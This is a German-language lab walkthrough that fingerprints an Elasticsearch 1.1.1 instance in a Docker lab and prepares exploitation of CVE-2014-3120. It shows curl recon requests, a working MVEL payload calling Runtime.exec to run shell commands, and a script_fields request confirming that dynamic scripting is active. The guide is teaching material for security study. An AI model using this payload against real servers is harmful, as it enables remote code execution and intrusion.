
Schritt-für-Schritt-Laboranleitung zur Demonstration der Ausnutzung von CVE-2014-3120 gegen Elasticsearch 1.1.1, die Schwachstellenanalyse, RCE via MVEL-Scripting und Post-Exploitation in einer Docker-Umgebung abdeckt.
Beginnend mit dem, was in der Umgebung läuft. Wir listen alle aktiven Container auf:
docker ps

Ergebnis: Container p1/lab10:latest läuft und exponiert 2 Ports extern:
| Port-Mapping | Protokoll |
|---|---|
0.0.0.0:9200 → 9200/tcp | HTTP (muss überprüft werden) |
0.0.0.0:9300 → 9300/tcp | Unbekannt |
Erste Beobachtung: Die Ports 9200 und 9300 sind allgemein als die Standard-Ports für Elasticsearch bekannt. Wir können jedoch nicht allein aufgrund der Portnummern schließen – viele andere Dienste können an beliebige Ports binden.
⇒ Wir curl direkt auf jeden Port, um zu überprüfen, welcher Dienst tatsächlich läuft.
curl -i http://192.168.3.137:9300/

Antwortanalyse:
curl: (52) Empty reply from serverBewertung: Der Server hat die TCP-Verbindung akzeptiert (keine Verbindungsablehnung), aber nicht mit dem HTTP-Protokoll geantwortet. Dies entspricht dem Verhalten des Elasticsearch Transport-Protokolls auf Port 9300 – einem binären Protokoll für die Kommunikation zwischen Knoten in einem Cluster, nicht HTTP.
⇒ Denkweise: Port 9300 verwendet ein binäres Protokoll → kann nicht direkt über curl/Browser ausgenutzt werden. Wechsel zur Überprüfung von Port 9200 – dem HTTP-REST-API-Port.
curl -i http://192.168.3.137:9200/

Antwortanalyse:
| Feld | Wert | Bedeutung |
|---|---|---|
name | "Rage" | Elasticsearch-Knotenname (zufälliger Marvel-Charaktername – Standardverhalten älterer ES-Versionen) |
version.number | "1.1.1" | Extrem alte Version – veröffentlicht im April 2014 |
build_timestamp | "2014-04-16T14:27:12Z" | Erstellt im Jahr 2014 |
lucene_version | "4.7" | Lucene 4.7 – alte Indizierungs-Engine |
tagline | "You Know, for Search" | Charakteristische Signaturphrase von Elasticsearch |
Bewertung der Angriffsfläche:

⇒ Denkweise: Elasticsearch 1.1.1 aktiviert Dynamic Scripting standardmäßig – ermöglicht es Clients, Skripte (MVEL-Ausdrücke) in Suchanfragen zu senden, die der Server ausführt. Ohne eine Sandbox oder ordnungsgemäße Validierung kann ein Angreifer ein bösartiges Skript einschleusen, um Systembefehle auszuführen. Nächster Schritt: Überprüfen, ob Dynamic Scripting auf dem Ziel tatsächlich aktiv ist.
Elasticsearch unterstützt eine Scripting-Funktion – erlaubt es Clients, Skripte (mathematische oder logische Ausdrücke) in Suchanfragen zu senden, die der Server bei der Verarbeitung der Ergebnisse ausführt. In Elasticsearch 1.x ist die Standard-Engine für diese Funktion MVEL (MVFLEX Expression Language).
In Elasticsearch-Versionen vor 1.2 ist Dynamic Scripting standardmäßig aktiviert (script.disable_dynamic: false). Das bedeutet:
script_fields in der _search-API sendenjava.lang.Runtime.getRuntime().exec() aufrufen, um Systembefehle auszuführenscript_fields funktioniertWenn eine Suchanfrage mit script_fields gesendet wird, führt Elasticsearch Folgendes aus:
_search-APIscript_fields → findet das auszuführende scriptIn Java ist der gebräuchlichste Weg, einen Systembefehl auszuführen:
Runtime.getRuntime().exec("command");
MVEL, als Ausdruckssprache mit vollem Zugriff auf Java-Klassen, erlaubt den direkten Aufruf:
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
Erklärung jedes Teils:
| Teil | Erklärung |
|---|---|
import java.io.* | Importiert Java-IO-Klassen |
Runtime.getRuntime() | Ruft die Java-Runtime-Instanz ab |
.exec("id") | Führt den Shell-Befehl id aus |
.getInputStream() | Ruft den Ausgabestream des Prozesses ab |
new Scanner(...).useDelimiter("\\A").next() | Liest die gesamte Ausgabe als Zeichenkette |
⇒ Denkweise: Bei Elasticsearch wird die RCE-Ausgabe direkt in der Antwort zurückgegeben – keine Notwendigkeit, sie in eine Datei umzuleiten und zurückzulesen. Das macht den Exploit sauberer und schneller zu verifizieren.
Nachdem das Ziel als Elasticsearch 1.1.1 identifiziert wurde, muss als nächstes überprüft werden, ob Dynamic Scripting tatsächlich aktiviert ist.
CVE-2014-3120 nutzt die Tatsache aus, dass Elasticsearch Clients erlaubt, Skripte innerhalb von _search-Anfragen zu senden. Wenn das Skript vom Server ausgeführt wird, kann ein Angreifer den harmlosen Ausdruck durch eine Nutzlast ersetzen, die die Java Runtime aufruft, um Systembefehle auszuführen.
Zuerst erstellen wir ein Testdokument, um sicherzustellen, dass die Abfrage mindestens ein passendes Ergebnis hat. Wenn keine Dokumente übereinstimmen, wird script_fields nicht ausgewertet.
curl -s -X POST 'http://192.168.3.137:9200/test_index/test_type/1' \
-H 'Content-Type: application/json' \
-d '{"name":"test"}'
Dann aktualisieren wir den Index:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_refresh'
Als nächstes senden wir eine _search-Anfrage mit script_fields, die einen harmlosen MVEL-Ausdruck enthält:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {
"match_all": {}
},
"script_fields": {
"test": {
"script": "1+1"
}
}
}'

Wir senden das Skript "1+1" und der Server gibt das Ergebnis 2 zurück. Das beweist, dass Elasticsearch nicht nur die _search-Anfrage empfängt, sondern das dynamische Skript serverseitig ausführt.
⇒ Dynamic Scripting ist auf dem Ziel aktiv.